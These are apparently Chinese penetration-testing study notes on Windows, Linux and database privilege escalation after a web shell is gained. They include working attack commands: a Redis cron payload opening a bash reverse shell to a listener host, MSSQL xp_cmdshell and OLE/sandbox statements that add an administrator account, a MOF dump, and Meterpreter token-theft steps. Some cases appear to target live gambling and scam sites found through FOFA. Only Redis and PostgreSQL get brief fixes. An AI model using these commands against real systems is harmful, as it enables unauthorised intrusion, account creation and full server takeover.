权限提升:当你已经找到漏洞并利用成功后,需要利用现有条件获得网站的权限或其他权限
后台获取Webshell的思路:借助网上资料》尝试代码审计》借助后台功能点
1.注重理解当前权限对应可操作的事情
2.利用成功后的思想需要总结的思路
3.相关的操作被拒绝无法实现的时候就会涉及到权限提升
具体有哪些权限需要我们知道和了解掌握的?
后台权限:(获得方式:爆破,注入猜解,弱口令等获取的帐号密码配合登录)
一般网站或应用后台只能操作应用的界面内容数据图片等信息,无法操作程序的源代码或服务器上的资源文件的。(如后台功能存在文件操作的话也可以操作文件数据)
网站权限:(获得方式:以上三种思路获取)
查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等),还能收集服务器操作系统相关的信息,为后续系统提权做准备。
数据库权限:
操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限(webshell)进行的数据库配置文件读取获得。
接口权限:(邮件,短信,支付,第三方登录等)
后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文件获取)。
某挂壁程序后台权限提升-后台功能
前提:已经获取了后台账号密码
后台权限和网站权限不同,后台权限不能对网站代码的层次进行修改
分析网站的CMS,在网上搜索CMS对应的漏洞,尝试复现
下载源码,进行代码分析,寻找可以提权的漏洞
用功能点配合网站源码进行测试,在上传点抓包找到对应的代码
没有代码直接测试,测试围绕文件上传、模板修改、SQL执行、数据备份等功能
某BC广告导航页权限提升-漏洞层面
前提:抓包发现中间件有漏洞
抓包了解网站使用的Apache和OpenSSL版本,凭借经验发现是基于PHPstudy的网站
根据网络资料复现PHPstudy的后门漏洞,实现命令执行
苏丹大西瓜GlassFish中间件-第三方
通过FOFA搜索使用GlassFish的网站作为目标
根据网络资料复现GlassFish的任意文件读取漏洞
获取敏感信息,进行下一步渗透
用户及用户组权限划分
提权目标:SYSTEM(系统)、管理员组(Administrators)
Windows系统内置了许多本地用户组,这些用户组本身都已经被赋予一些权限(permissions),它们具有管理本地计算机或访问本地资源的权限。只要用户账户加入到这些本地组内,这回用户账户也将具备该组所拥有的权限。
0x01普通权限
默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限,
管理员组(Administrators)、
高权限用户组(Power Users)、
普通用户组(Users)、
备份操作组(Backup Operators)、
文件复制组(Replicator)、
来宾用户组(Guests)、
身份验证用户组(Ahthenticated users),
其中备份操作组和文件复制组为维护系统而设置,平时不会被使用。
管理员组拥有大部分的计算机操作权限(并不是全部),能够随意修改删除所有文件和修改系统设置只有程序信任组(特殊权限)。
再往下就是高权限用户组,这一部分用户也能做大部分事情,但是不能修改系统设置,不能运行一些涉及系统管理的程序。
普通用户组则被系统拴在了自己的地盘里,不能处理其他用户的文件和运行涉及管理的程序等。
来宾用户组的文件操作权限和普通用户组一样,但是无法执行更多的程序。
身份验证用户组(Ahthenticated users)经过ms验证程序登录的用户均属于此组。
0x02特殊权限
除了上面提到的7个默认权限分组,系统还存在一些特殊权限成员,这些成员是为了特殊用途而设置,分别是:
SYSTEM(系统)、
Trustedinstaller(信任程序模块)、
Everyone(所有人)、
CREATOR OWNER(创建者)等,
这些特殊成员不被任何内置用户组吸纳,属于完全独立出来的账户。
真正拥有“完全访问权”的只有一个成员:SYSTEM。这个成员是系统产生的,真正拥有整台计算机管理权限的账户,一般的操作是无法获取与它等价的权限的。
Everyone权限与普通用户组权限差不多,它的存在是为了让用户能访问被标记为“公有”的文件,这也是一些程序正常运行需要的访问权限——任何人都能正常访问被赋予Everyone权限的文件,包括来宾组成员。
被标记为CREATOR OWNER权限的文件只有建立文件的那个用户才能访问,做到了一定程度的隐私保护。
但是,所有的文件访问权限均可以被管理员组用户和SYSTEM成员忽略,除非用户使用了NTFS加密。
无论是普通权限还是特殊权限,它们都可以“叠加”使用,“叠加”就是指多个权限共同使用,例如一个账户原本属于Users组,而后我们把他加入Administrators组再加入Trustedinstaller等权限提升,那么现在这个账户便同时拥有两个或多个权限身份,而不是用管理员权限去覆盖原来身份。权限叠加并不是没有意义的,在一些需要特定身份访问的场合,用户只有为自己设置了指定的身份才能访问,这个时候“叠加”的使用就能减轻一部分劳动量了。
基于WEB环境下的权限提升-阿里云靶机
前提:Windows2012、已获得web权限
信息收集
运行cmd,可以收集系统的基础信息,但权限不够不能做添加修改
使用“whoami”获得当前用户名,使用“whoami /priv”了解当前账户权限,通过“systeminfo”可以知道系统打过多少补丁,还有“ipconfig”等,可以在命令后加“> x.txt”输出命令
补丁筛选
使用“Vulmap”进行补丁筛选:下载,直接运行其中“.ps1”后缀的PowerShell脚本(打开PowerShell将脚本拖进去)
使用“Wes”进行补丁筛选:下载,在cmd执行命令“python.exe wes.py systeminfo.txt -o vuln.csv”,即对比“systeminfo”文件并将结果输出,其中“-o”是输出,可以将结果输出为“csv”“txt”等格式,输出的结果是可能存在的漏洞等,第一次使用会要求下载两个文件(漏洞数据库)
使用“WindowsVulnScan”进行补丁筛选:
下载,在cmd执行命令“python.exe WindowsVulnScan-master/cve-check.py”可以看到程序说明,使用“-u”“-U”分别更新CVE和EXP信息
将“KBCollect.ps1”放到放到对方的服务器上运行,获得“KB.json”,也可以自行复制“systeminfo”的信息并修改成其需要的格式
cmd执行“python.exe WindowsVulnScan-master/cve-check.py -C -f KB.json”,如果出现错误提示将KB.json的编码格式转换为UTF-8编码即可
利用MSF或特定EXP
EXP的使用不再赘述,这里讲MSF的使用
在实战中利用MSF,建议购买服务器,2核4G或2核2G,安装Ubuntu系统,只安装MSF;非实战kali或忍者系统就可以
用Xshell远程连接MSF服务器,输入“msfconsole”启动msf,借助msf利用漏洞,反弹shell,提升权限
基于本地环境下的权限提升-系统溢出漏洞
前提:已经获得计算机的普通用户权限
运行漏洞EXP将当前的用户权限提升为system
提权原因:有些工具需要足够的权限才能运行,高权限可以获得更多信息,有利于内网渗透
CVE-2020-0787 BitsArbitraryFileMoveExploit
基于本地环境下的权限提升-AT&SC&PS命令
前提已经获得计算机的普通用户权限,较老的计算机系统,以Win2003为例
AT
打开cmd添加一项计划任务,在15:13打开一个cmd窗口,发现打开的窗口是system权限
at 15:13 /interactive cmd.exe
这是一个逻辑错误,只针对Win7之前的系统
SC
创建一个名叫“syscmd”的服务,运行它
sc Create syscmd binPath= "cmd /K start" type= own type= interact
sc start syscmd
发现得到的cmd窗口是system权限
这是一个逻辑错误,只针对Win7之前的系统
PS
下载微软官方的PsTools工具包,在下载的文件夹下执行下面的命令
psexec.exe -accepteula -s -i -d cmd.exe
发现得到的cmd窗口是system权限
案例知识点总结:
权限提升流程:信息收集-补丁筛选-利用MSF或特定EXP-执行-西瓜到手
漏洞库推荐:Vulmap、Wes、WindowsVulnScan
windows-exp-suggester在17年后未更新,不再推荐
Vulmap是PowerShell脚本,使用最简单,但web提权往往只能有cmd窗口,不一定有PowerShell环境,导致该项目对Windows系统不友好
Wes和WindowsVulnScan是python脚本,可以不借助PowerShell操作,更适用于web提权
**MSF搭建:**https://www.cnblogs.com/M0rta1s/p/11920903.html
有些漏洞可能只适应于本地环境提权,不适用于web环境提权
有些提权方法借助系统上的设计,逻辑上的问题来实现,并不总是依靠漏洞
涉及资源:
Vulmap:https://github.com/vulmon/Vulmap
wesng:https://github.com/bitsadmin/wesng
CVE-2018-8120EXP:https://github.com/unamer/CVE-2018-8120
WindowsVulnScan:https://github.com/chroblert/WindowsVulnScan
windows-kernel-exploits:https://github.com/SecWiki/windows-kernel-exploits
CVE-2020-0787-Windows本地提权漏洞分析:https://xz.aliyun.com/t/7935
PsTools:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
CVE-2020-0787-EXP-ALL-WINDOWS-VERSION:https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION
在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权
数据库提权的前提条件:服务器开启数据库服务及获取到最高权限用户密码
除Access数据库外,其他数据库基本都存在数据库提权的可能
流程:服务探针-信息收集-提权利用-获取权限
数据库应用提权在权限提升中的意义
在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权
WEB或本地环境如何探针数据库应用
1.通过探针判断有数据库相关的服务
2.通过端口扫描看是否开启对应端口
3.通过命令段看是否开启相关服务
4.通过浏览文件或文件夹判定是否安装相关数据库
数据库提权权限用户密码收集等方法
配置文件、储存文件、暴力拆解、其他方式
配置文件:一些需要调用数据库的程序会有配置文件记录账号密码
储存文件:将数据库中的一些储存文件下载还原,解析里面的账号密码
暴力拆解:通过爆破脚本等爆破密码
一般是前两种,第一种最常见。从相关的配置文件中获得账号密码
目前数据库提权对应的技术及方法等
要进行分类,根据数据库的不同使用不同的方法
前提条件和提权思路
前提:已获得webshell权限,借助数据库权限,获得服务器权限
进入后门,通过扫描端口等方式,确定对应的数据库
针对不同数据库使用不同方法提权
Mysql-UDF
信息收集:
MySQL数据库安装后默认继承系统权限,取得MySQL最高权限账户root账户的账号密码(账户为root,密码为自定义)后,可以调用dll文件并执行里面的命令执行函数来实现对系统命令的调用执行,实现提权
通过关键字寻找数据库配置文件,从其中找出root账号密码
数据库的安装目录下有“data”目录,“data”下的每个文件夹对应数据库,每个文件夹中三个名称相同但后缀名不同的文件对应一个表,其中“.MYD”文件对应表的数据。MySQL数据库的所有账号密码就保存在“MySQL所在的文件夹\data\mysql\user.MYD”中,需要MD5解密
root用户默认不支持外联,暴力破解时可以将爆破脚本上传到服务器,进行本地爆破
提权利用:
导出dll文件并执行命令执行函数实现提权
导出数据时根据MySQL版本选择不同的目录
mysql<5.1 导出目录c:/windows或system32
mysql=>5.1 导出安装目录/lib/plugin/
其中plugin目录需要自行创建
select version(); 查看版本
select @@basedir; 查看安装目录
一般通过脚本实现文件导入和命令执行
MySQL提权知识点
UDF提权知识点:(基于MYSQL调用命令执行函数)
1.读取网站数据库配置文件(了解其命名规则及查找技巧)
sql、data、inc、config、conn、database、common、include等
2.读取数据库存储或备份文件(了解其数据库存储格式及对应内容)
@@basedir/data/数据库名/表名.myd
3.利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联)
远程本地暴力猜解,服务器本地暴力猜解
4.利用自定义执行函数导出dll文件进行命令执行
select version() select @@basedir
5.手工创建plugin目录或利用NTFS流创建
select ‘x’ into dumpfile ‘目录/lib/plugin::INDEX_ALLOCATION’;
1.mysql<5.1导出目录c:/windows或system32
2.mysql=>5.1导出安装目录/lib/plugin/
MOF知识点:(基于MYSQL特性的安全问题)
导出自定义mof文件到系统目录加载
https://www.cnblogs.com/xishaonian/p/6384535.html
select load_file('C:/phpStudy/PHPTutorial/WWW/user_add.mof
') into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
启动项知识点:(基于配合操作系统自启动)
导出自定义可执行文件到启动目录配合重启执行
将创建好的后门或执行文件进行服务器启动项写入,配合重启执行!
反弹知识点:(基于利用反弹特性命令执行)
nc -l -p 5577
MsSQL提权
使用xp_cmdshell进行提权
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。
查看xp_cmdshell:查看“数据库-系统数据库-master-可编程性-扩展储存过程-系统扩展储存过程”中有无sys.xp_cmdshell一项
启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
执行:
EXEC master.dbo.xp_cmdshell '命令'
使用 sp_oacreate 进行提权
默认关闭,也需要先启动
启用:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
执行(whoami,并且回显):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
使用 SQL Server 沙盒提权
https://blog.51cto.com/11797152/2411770
Mssql提权知识点
使用xp_cmdshell进行提权
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。
启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
执行:
EXEC master.dbo.xp_cmdshell '命令'
如果 xp_cmdshell 被删除了,可以上传 xplog70.dll 进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
使用 sp_oacreate 进行提权
主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令。
启用:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
执行:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
使用 SQL Server 沙盒提权
参考资料:https://blog.51cto.com/11797152/2411770
exec sp_configure 'show advanced options',1;reconfigure;
– 不开启的话在执行 xp_regwrite 会提示让我们开启,
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
–关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
–查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
– 执 行 系 统 命 令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
沙盒模式 SandBoxMode 参数含义(默认是 2)
0:在任何所有者中禁止启用安全模式
1:为仅在允许范围内
2:必须在access模式下
3:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
–恢复配置
–exec master…xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
–exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
–exec sp_configure 'show advanced options',0;reconfigure;
Oracle提权
oracle数据库一般配合jsp建站,jsp网站后门不需要提权,自带system
Oracle数据库提权知识点
普通用户模式:
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。
DBA用户模式:(自动化工具演示)
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
注入提升模式:(sqlmap测试演示)
拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证。
(JSP网站不需要提权,自带system权限)
涉及资源:
mof提权原理及其过程:https://www.cnblogs.com/xishaonian/p/6384535.html
SQL Server提权方法汇总(MSSQL):https://blog.51cto.com/11797152/2411770
Redis服务因配置不当,可被攻击者恶意利用。黑客借助Redis内置命令,可将现有数据恶意清空;如果Redis以root身份运行,黑客可往服务器上写入SSH公钥文件,直接登录服务器。
提权方法:
连接(未授权漏洞或密码)-利用如下方法提权
参考:https://blog.csdn.net/fly_hps/article/details/80937837
(1).利用计划任务执行命令反弹shell
(2).写ssh-keygen公钥然后使用私钥登陆
(3).权限较低往web物理路径写webshell
修复方案:
注意:以下操作,均需重启Redis后才能生效。
绑定需要访问数据库的IP。将127.0.0.1修改为需要访问此数据库的IP地址。
设置访问密码。在Redis.conf中requirepass字段后,设置添加访问密码。
修改Redis服务运行账号。以较低权限账号运行Redis服务,禁用账号的登录权限。
Redis连接-利用计划任务执行命令反弹shell
连接redis:
redis-cli -h IP地址(如果是本地数据库填127.0.0.1)
执行提权命令:
set x "\n* * * * * bash -i >& /dev/tcp/监听IP地址/端口号 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
PostgreSQL数据库权限提升
PostgreSQL是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPYTO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。
提权利用的是漏洞:CVE-2019-9193、CVE-2018-1058
提权方法:
连接-利用漏洞-执行-提权
参考:https://vulhub.org/#/environments/postgres/
**修复方案:**升级版本或打上补丁
高权限账户
MySQL:root
MsSQL:sa
Oracle:DBA
Postgres:postgres
Windows2008&7令牌窃取提升-本地
进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。
本地提权实验:获取会话-利用模块-窃取令牌-提权
适应系统:
Microsoft Windows XP Professional SP3和之前版本
Windows Server 2003 SP2和之前的版本
Windows Server 2003 x64和x64 SP2
Windows Server 2003(用于基于Itanium的系统SP2和先前版本)
Windows Server 2008 x32 x64
Windows Server 2008(用于基于Itanium的系统)
Windows Vista SP1和之前的版本
Windows Vista x64 SP1和之前的版本
只适用于2008之前的老版本
提权命令:
use incognito
list_tokens -u
impersonate_token “令牌名”
Windows2003&10进程注入提升
进程注入提权是本地提权方式的一种较为老的安全技术了,利用的是注入进程的所有者实现权限共享机制,这类技术主要利用在windows2008之前操作系统上.所以我们需要学习后续的本地提权更多的手法才能有针对高版本的系统。
pinjector进程注入工具针对-win2008以前操作系统
在cmd中运行该软件
加“-l”获取当前计算机的进程列表
加“-p 被注入的进程pid cmd.exe(反弹过去的程序) 反弹的端口号”
用nc连接
pexec64 32进程注入工具针对-win2008及后操作系统
在cmd中运行该软件
可以通过ProcessExplorer看当前电脑的PID进程号
加“PID”注入线程
用nc连接9999端口
涉及资源:
Redis未授权访问漏洞利用总结:https://blog.csdn.net/fly_hps/article/details/80937837
PostgreSQL 提权漏洞(CVE-2018-1058):https://vulhub.org/#/environments/postgres/CVE-2018-1058/
PostgreSQL 高权限命令执行漏洞(CVE-2019-9193):https://vulhub.org/#/environments/postgres/CVE-2019-9193/
C/C++ 进程代码注入与提权/降权:https://www.cnblogs.com/LyShark/p/13785619.html
提权降权工具(pexec64 32):https://www.blib.cn/soft/pexec.zip
进程资源管理器 v16.43:https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
pinjector进程注入工具:https://www.tarasco.org/security/Process_Injector/processinjector.zip
微软常用运行库合集:搜索AiO Runtimes或All in One Runtimes
RottenPotato(烂土豆)提权的原理简述如下:
1.欺骗“NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
2.对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
3.模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
总结:一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。
烂土豆比热土豆的优点是:
1.100%可靠
2.(当时)全版本通杀
3.立即生效,不用像hot potato那样有时候需要等Windows更新才能使用
总之,烂土豆是通过中间人攻击,将COM(NT\SYSTEM权限)在第二步挑战应答过程中认证的区块改为自己的区块获取SYSTEM权限,然后利用msf的模仿令牌功能模仿SYSTEM令牌。
必备知识点:
令牌窃取配合烂土豆提权
单纯令牌窃取:Web权限或本地提权
如配合烂土豆提权:Web或数据库等权限
不带引号服务路径安全问题
服务路径提权:Web权限或本地提权
不安全的服务权限配置问题
服务权限配置:Web权限或本地提权(Web几率小)
补充说明:dll劫持提权及AlwaysInstallElevated等说明
dll劫持提权需要特定软件应用的控制权限及启用配合,复杂鸡肋
AlwaysInstallElevated提权默认禁用配置,利用成功机会很少
Win2012-烂土豆配合令牌窃取提权-Web权限
原理:参考上述内容,非服务类用户权限无法窃取成功(原理)
过程:上传烂土豆-执行烂土豆-利用窃取模块-窃取SYSTEM-成功
代码:
上传烂土豆文件
upload /root/potato.exe C:\Users\Public
切到对应文件夹
cd C:\\Users\\Public
执行烂土豆
execute -cH -f ./potato.exe
一般提权操作
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"
Win2012-DLL劫持提权应用配合MSF-Web权限
原理
dll劫持提权需要特定软件应用的控制权限及启用配合
原理:Windows程序启动的时候需要DLL。如果这些DLL不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下
面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
过程:信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功
实操
写了审核不通过,略
Win2012-不安全的服务权限配合MSF-本地权限
原理
原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。
过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功
实操
写了审核不通过,略
Win2012-不带引号服务路径配合MSF-Web,本地权限
原理
原理:当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系、统将会执行找到的空格分隔的服务路径的第一个实例。
过程:检测引号服务路径-利用路径制作文件并上传-启用服务或重启-调用后成功
实操
写了审核不通过,略
总结Windows提权知识点:
提权方法对应层面
Web:SYSTEM>Administrators>Users>default apppool(web权限)
本地:域管理员>计算机用户(一般在内网渗透)
不同的提权方法用在不同的层面:web/本地
提权方法对应系统版本
有些方法只针对部分系统
相关文件及后门免杀问题等
防止木马文件被杀毒、安全软件干掉
涉及资源:
webshell:https://github.com/tennc/webshell
火绒剑(HRSword):https://www.sdbeta.com/wg/2020/0628/235361.html
AccessChk:https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
windows-kernel-exploits:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
Linux提权自动化脚本利用-4个脚本
Linux系统信息收集命令详见:权限提升-Linux提权手法总结.pdf
这里直接介绍用自动脚本收集信息
**两个信息收集:**LinEnum、linuxprivchecker
**两个漏洞探针:**linux-exploit-suggester、linux-exploit-suggester2
信息收集有什么用?
信息收集为后续提权做准备
漏洞探针又有什么用?
主要用于内核提权,判定操作系统上可能存在的漏洞
LinEnum
需要通过webshell权限或文件上传权限上传“LinEnum.sh”到“tmp”文件夹下
来到“tmp”目录下
cd /tmp
如果文件不能被执行,给予其一个可执行权限
chmod +x LinEnum.sh
chmod +x [文件名]
执行文件
./LinEnum.sh
./[文件名]
LinEnum会列出目标机器的信息,具体格式参照其GitHub页面
其中“Locate all SUID/GUID files”与能否使用SUID提权
linuxprivchecker
需要通过webshell权限或文件上传权限上传“linuxprivchecker.py”到“tmp”文件夹下,还需要目标机器上有python
来到“tmp”目录下,执行文件
python linuxprivchecker.py
linuxprivchecker会列出目标机器的信息,不过它不像LinEnum有颜色标识
linux-exploit-suggester
需要通过webshell权限或文件上传权限上传“linux-exploit-suggester.sh”到“tmp”文件夹下
来到“tmp”目录下,执行文件
./linux-exploit-suggester.sh
linux-exploit-suggester首先会输出内核等信息,然后输出可能存在的漏洞,包括exp的下载地址,可以下载对应的exp来测试。有橙色标签的说明更符合目标机情况
linux-exploit-suggester2
需要通过webshell权限或文件上传权限上传“linux-exploit-suggester-2.pl”到“tmp”文件夹下,还需要目标机器上有perl(一种脚本语言)
来到“tmp”目录下,执行文件
perl linux-exploit-suggester-2.pl
linux-exploit-suggester2会直接报告可能的漏洞和exp下载地址
SUID
SUID是一种特殊权限。设置了SUID的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限。
比如“/usr/bin/passwd”文件,用户执行它时获得了root权限,从而能够更改密码。
“chmod u+s [文件名]”给予suid权限,“u-s”删除
Linux提权SUID配合脚本演示-Vulhub
漏洞成因:存在有SUID权限的全局命令(如复制、查找)
提权过程:探针是否有SUID(手工或脚本)-特定SUID利用-利用吃瓜-GG
过程略
参考利用:https://pentestlab.blog/2017/09/25/suid-executables/
Linux提权本地配合内核漏洞演示-Mozhe
提权过程:连接-获取可利用漏洞-下载或上传EXP-编译EXP-给权限执行-GG
Linux提权脏牛内核漏洞演示-linux-exploit-suggester
内核提权整个过程:(linux-exploit-suggester获取信息)
vulnhub靶机-探针目标-CMS漏洞利用-脚本探针提权漏洞-利用内核提权-GG
**内核漏洞提权过程:**寻找可用exp-下载exp-上传至/tmp-编译exp-执行(无权限用chmod)
涉及资源:
LinEnum:https://github.com/rebootuser/LinEnum
LAMPIÃO: 1(vulnhub的靶场):https://www.vulnhub.com/entry/lampiao-1,249/
Behinder冰蝎:https://github.com/rebeyond/Behinder
linux-exploit-suggester:https://github.com/mzet-/linux-exploit-suggester
Linuxprivchecker:https://github.com/sleventyeleven/linuxprivchecker
SUID Executables:https://pentestlab.blog/2017/09/25/suid-executables/
linux-exploit-suggester-2:https://github.com/jondonas/linux-exploit-suggester-2
Ubuntu 16.04漏洞复现(CVE-2017-16995):https://www.mozhe.cn/bug/detail/T3ZEbFljRmFKQTVjVitoV2JxUzVoQT09bW96aGUmozhe
Linux权限
用户的权限用“id”命令来查看,权限分为uid、gid、groups,即属主、属组、其他
文件的权限又分为rwx,即读、写、执行,由三组二进制数据表示
Linux提权本地环境变量安全-Aliyun
提权条件:复制了SUID权限,还需要本地用户权限
提权原理:借环境变量的执行顺序,替换了高权限的命令,获取权限
注意:虽然例子中的“shell”文件是我们自己写的,但这里是模拟的用户自己配置的有SUID权限的文件。我们替换了该文件中被调用的命令,获得了root权限的反弹窗口
替换命令的方法是借助环境变量会逐个文件夹找命令的运行逻辑,在被执行的命令之前就加一个同名的环境变量
提权过程:手写调用文件-编译-复制文件-增加环境变量-执行触发
Linux提权本地定时任务安全-Aliyun
第一种:路径问题(未实现)
提权原理:利用计划任务指向的文件的相对路径解析问题
计划任务使用相对路径来指定命令时,默认路径是“/usr/local/bin”。在当前用户的目录下创建相同名字的文件,会比默认路径优先级更高
第二种:命令问题(WS注入)
**提权条件:**有通配符的可以调用其他命令的命令被放入计划任务中
**提权原理:**利用通配符配合命令参数自定义命令实现提权
可以将通配符所匹配的内容写成命令的参数,调用其他命令
参考命令:其他命令是否可以请查看《Linux提权手法总结.pdf》
https://www.cnblogs.com/manong–/p/8012324.html
第三种:权限问题
**提权原理:**利用不安全的权限分配操作导致的定时文件覆盖
管理员没有正确的赋予权限,比如给了文件777的权限,导致定时任务可以被修改
Linux提权数据库MYSQL_UDF-Vulnhub
**提权过程:**Vulnhub某靶机-探针IP及端口-利用漏洞获取web权限-信息收集-查看数据库配置文件-利用Mysql提权Linux(Mysql版本区别同Windows)
Linux提权提升简单总结归类-参考PDF
1.提权环境(web环境、本地环境),信息收集(SUID、定时任务、可能漏洞、第三方服务应用等)
2.最新相关漏洞要明确(关注点),二次开发相关脚本学会展望(四个脚本)
3.最新漏洞:本地searchsploit脚本及远程exploitdb站点搜索说明(简要使用)
4.其他提权方法如:密码复用,guid,sudo等说明(运气,同理,鸡肋等)
SUDO说明参考:https://www.freebuf.com/vuls/217089.html
涉及资源:
exploit database:https://www.exploit-db.com/
RAVEN: 2(vulnhub的靶场):https://www.vulnhub.com/entry/raven-2,269/
exploitdb(Linux工具):https://github.com/offensive-security/exploitdb
Linux下的tar压缩解压缩命令详解:https://www.cnblogs.com/manong–/p/8012324.html
CVE-2019-14287:sudo权限绕过漏洞分析与复现:https://www.freebuf.com/vuls/217089.html